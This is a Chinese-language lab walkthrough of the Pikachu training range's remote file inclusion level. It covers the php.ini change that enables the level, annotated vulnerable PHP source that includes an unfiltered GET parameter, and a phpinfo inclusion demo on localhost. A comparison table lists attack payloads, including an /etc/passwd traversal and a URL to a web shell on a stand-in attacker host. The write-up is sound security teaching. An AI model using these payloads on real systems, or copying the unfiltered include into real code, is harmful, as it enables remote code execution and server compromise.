欢迎来到尧图网

客户服务 关于我们

您的位置:首页 > 健康 > 养生 > pikachu靶场通关笔记31 文件包含02之远程文件包含

pikachu靶场通关笔记31 文件包含02之远程文件包含

2025/6/19 1:53:44 来源:https://blog.csdn.net/mooyuan/article/details/147710202  浏览:    关键词:pikachu靶场通关笔记31 文件包含02之远程文件包含

目录

一、文件包含功能

二、文件包含Vulnerability

二、远程文件包含

三、环境配置

1、进入靶场

2、搭建环境 

(1)定位php.ini文件

(2)修改php.ini文件

四、源码分析

五、渗透实战

1、选择科比

2、执行phpinfo

(1)获取脚本地址

(2)远程文件包含渗透


本系列为《pikachu靶场通关笔记》渗透实战,本文通过对文件包含关卡(File Inclusion)源码的代码审计找到产生缺陷的真实原因,讲解远程文件包含关卡的原理并进行渗透实践。

一、文件包含功能

文件包含是Web开发中常用的功能,允许程序动态加载外部文件(如HTML模板、配置文件或代码库),以提高代码复用性。在PHP中,主要通过以下函数实现:

  • include:包含文件,失败时警告但继续执行。

  • require:包含文件,失败时终止程序。

  • include_once/require_once:避免重复包含。

二、文件包含Vulnerability

文件包含Vulnerability(File Inclusion Vulnerability)是指Web应用程序在包含文件(如PHP的includerequire等函数)时,未对用户输入进行严格过滤,导致攻击者可以包含恶意文件(如服务器上的敏感文件或远程脚本),从而造成任意代码执行(RCE)敏感信息泄露

开发者常常会使用文件包含函数,像 PHP 的include()require()include_once()require_once()等,把其他文件内容包含到当前页面中。若程序没有对用户输入的文件路径进行严格过滤与验证,攻击者就能够通过构造特殊的输入,让应用程序包含恶意文件。

二、远程文件包含

远程文件包含(Remote File Inclusion,RFI)通常出现在服务器端脚本语言(如PHP、Java等)中。当应用程序通过用户输入动态地包含远程服务器上的文件时,如果没有对输入进行严格过滤和验证,攻击者可以利用远程文件包含缺陷将恶意文件放置在远程服务器上,并通过构造包含恶意文件URL的请求,让目标应用程序加载并执行该文件。

文件包含分为本地文件包含和远程文件包含,两者区别如下所示。

对比项本地文件包含(LFI)远程文件包含(RFI)
定义包含服务器本地的任意文件包含远程服务器上的恶意脚本文件
攻击目标读取敏感文件(如/etc/passwd、配置文件)直接执行远程恶意代码(如WebShell)
利用方式通过../等遍历目录通过URL包含http://ftp://远程资源
PHP配置要求无需特殊配置allow_url_include=On(默认关闭)
危害等级中高危(信息泄露)严重(直接RCE,服务器沦陷)
典型攻击载荷?file=../../etc/passwd?file=http://attacker.com/shell.php
依赖条件文件路径可控1. 路径可控
2. 服务器能访问外网
常见防御措施1. 白名单限制文件路径
2. 禁用目录遍历符号
1. 关闭allow_url_include
2. 过滤http://等协议
渗透测试用途1. 窃取配置文件
2. 结合日志注入执行代码
1. 直接获取服务器权限
2. 植入后门
伪协议利用支持(如php://filter读取文件内容)支持(如php://input直接执行POST代码)

三、环境配置

1、进入靶场

进入pikachu靶场的远程文件包含关卡,完整URL地址如下所示。

http://127.0.0.1/pikachu/vul/fileinclude/fi_remote.php

进入到远程包含关卡页面后发现提示“warning:你的allow_url_include没有打开,请在php.ini中打开了再测试该关卡,记得修改后,重启中间件服务!”,需要配置环境满足条件,具体如下所示。 

2、搭建环境 

将php.ini文件里的allow_url_include改成On,远程文件包含的前提是需要满足如下条件。

allow_url_fopen=On (默认打开)
allow_url_include=On(默认关闭,所以要手动改为On)

(1)定位php.ini文件

方法1:①打开小皮工具,依次点击设置—配置文件—php.ini—php版本号

方法2:②找到小皮工具文件夹—Extensions—php—php版本号—php.ini

(2)修改php.ini文件

 按照下图查找并修改php.ini文件,开启allow_url_include和allow_url_fopen,切记修改之后重启小皮apache,否则不生效

四、源码分析

打开piakchu靶场的源码目录,找到file_remote.php,具体如下所示。

源码的主要功能是动态包含服务器本地或远程文件,经过详细注释的源码如下所示。

// 远程文件包含风险的演示代码
$html = ''; // 初始化HTML输出变量// 检查是否提交了表单且filename参数不为空
if (isset($_GET['submit']) && $_GET['filename'] != null) {$filename = $_GET['filename']; // 直接获取用户输入的filename参数include "$filename"; // 关键点:直接包含用户可控的变量,无任何过滤!
}

 不过这段代码有文件包含安全风险,如果allow_url_include=On配置打开还有远程包含安全风险,原因如下所示。

原因具体问题
未过滤用户输入直接使用$_GET['filename'],攻击者可注入恶意路径。
危险函数调用include直接执行文件内容,若包含PHP文件会解析代码。
配置依赖php.ini中开启allow_url_include=On(默认关闭),否则仅能本地文件包含(LFI)。

五、渗透实战

1、选择科比

重启Apache后重试pikachu靶场远程文件上传,选择科比,留意当前URL地址,具体如下所示。

http://127.0.0.1/pikachu/vul/fileinclude/fi_remote.php#

此时进入到远程文件包含页面,已无3.1部分的警告信息,具体如下所示。 

选择第一个运动员科比,留意URL地址,此时filename被赋值为filename=include%2Ffile1.php,具体如下所示。

http://127.0.0.1/pikachu/vul/fileinclude/fi_remote.php?filename=include%2Ffile1.php&submit=%E6%8F%90%E4%BA%A4

2、执行phpinfo

(1)获取脚本地址

在pikachu靶场的test目录中,存在phpinfo.txt文件,其完整的URL地址如下所示。

http://127.0.0.1/pikachu/test/phpinfo.txt

(2)远程文件包含渗透

 将5.1部分的filename=include/file1.php换成phpinfo的链接地址,具体如下所示。

filename=http://127.0.0.1/pikachu/test/phpinfo.txt

这样远程文件包含渗透的完整URL地址如下所示。

http://127.0.0.1/pikachu/vul/fileinclude/fi_remote.php?filename=http://127.0.0.1/pikachu/test/phpinfo.txt&submit=%E6%8F%90%E4%BA%A4

如下所示成功获取到服务器的php信息,渗透成功。 

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com

热搜词